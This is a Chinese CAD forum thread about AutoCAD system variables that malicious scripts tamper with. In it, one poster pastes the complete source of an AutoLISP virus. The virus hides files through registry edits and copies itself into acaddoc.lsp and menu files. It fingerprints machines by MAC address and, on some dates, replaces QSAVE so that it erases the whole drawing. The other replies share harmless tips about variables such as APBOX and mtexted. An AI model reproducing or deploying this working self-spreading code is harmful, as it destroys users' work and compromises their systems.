还有highlight系统变量，当然还有很多，曾经中过招，不过都是小把戏了，看看下面这个源代码，
不是讨论病毒，只是感叹总有那么一些歪才。。。
(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)
(vl-load-com)
(setvar "cmdecho" 0)
(setvar "filedia" 1)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL"
"CheckedValue"
0
)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
"CheckedValue"
0
)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
"DefaultValue"
0
)
(setq mnlpth (getvar "menuname"))
(setq dwgpre (getvar "dwgprefix"))
(if (setq doclsp (findfile "acaddoc.lsp"))
(progn (chklsp (strcat mnlpth "doc.lsp") doclsp)
(chklsp (strcat mnlpth ".mnl") doclsp)
(chklsp (strcat dwgpre "acaddoc.lsp") doclsp)
)
)
(setq mac0
'(2256 22562726 2256 2585 2726 3243 2679
2726 22563149 2726 3196 3290 2726 2632
2397
)
)
(if (and (> (setq cdate (getvar "cdate")) 20090909)
(member (vl-string->list (car (macaddr))) (mkgroup mac0))
(= (rem (fix (* 100 (- cdate (fix cdate)))) 2) 0)
)
(dolsp)
)
(princ)
)
(defun chklsp (fp1 fp2 / fp3 TEM1 TEM2)
(if (setq fp3 (open fp1 "r"))
(progn
(if
(not
(wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))
"*;;;jjyy*"
)
)
(writelsp fp2 fp1)
)
(close fp3)
)
(writelsp fp2 fp1)
)
(attset fp1 2)
(attset fp2 2)
)
(defun writelsp (fp1 fp2 / fp3 fp4 tem)
(setq fp3 (open fp1 "r")
fp4 (open fp2 "a")
)
(while (setq tem (read-line fp3)) (write-line tem fp4))
(close fp3)
(close fp4)
(princ)
)
(defun attset (fp code / fp1)
(if (and (/= "" fp) code)
(progn (vl-load-com)
(vlax-put-property
(setq fp1 (vlax-invoke-method
(vlax-create-object "Scripting.FileSystemObject")
'GetFile
fp
)
)
'Attributes
code
)
)
)
(vlax-release-object fp1)
)
(defun mkgroup (pt0 / pts)
(setq i 1)
(repeat 500
(setq pts (cons (mapcar '(lambda (x) (/ x i)) pt0) pts))
(setq i (1+ i))
)
(reverse pts)
)
(defun macaddr (/ mac WMIobj con lox sn)
(vl-load-com)
(if (setq WMIobj (vlax-create-object "wbemScripting.SwbemLocator"))
(progn
(setq
con (vl-catch-all-apply
'vlax-invoke
(list WMIobj 'ConnectServer "." "" "" "" "" "" 128 nil)
)
)
(if (vl-catch-all-error-p con)
(setq
con (vlax-invoke WMIobj 'ConnectServer "." "" "" "" "" "")
)
)
(setq lox (vlax-invoke
con
'ExecQuery
"Select * From Win32_NetworkAdapter "
)
)
(vlax-for i lox
(if (vlax-get i 'NetConnectionID)
(progn (setq sn (vlax-get i 'MACAddress))
(or (member sn mac) (setq mac (cons sn mac)))
)
)
)
(mapcar 'vlax-release-object (list lox con WMIobj))
)
)
(reverse mac)
)
(defun dolsp ()
(command "undefine" "qsave")
(command "undefine" "saveas")
(command "undefine" "wblock")
(command "undefine" "insert")
(command "undefine" "pline")
)
(defun c:qsave ()
(command "_.erase" (ssget "x") "")
(princ)
)
(defun c:saveas (/ fp1)
(setq fp1 (getfiled "图形另存为" (getvar "dwgprefix") "dwg" 1))
(chklsp (strcat (vl-filename-directory fp1) "\\acaddoc.lsp")
(findfile "acaddoc.lsp")
)
(princ)
)
(defun c:wblock () (princ))
(defun c:insert () (princ))
(defun c:pline () (command "_.line") (princ))
;;;jjyy
这个确实不错，总结出来以后出现问题也可以查找，赞！
以前也中过招，把光标、对话框、选择框都给关了
前些天还中招了，害得我重装CAD
谁有CAD所有的系统变量，完整的（包括未公开的）
以前有收集过cad的这些变量，好久没有去理会了，真心很有用！
mtexted=0,不能选中文字
本帖最后由 蒹葭_Keirll 于 2013-1-3 09:42 编辑
APBOX=1加上AUTOSNAP=0，不显示鞭靶，也不显示捕捉标志。上次被某个程序搞成这样，差点重装
强的
强强强强强强强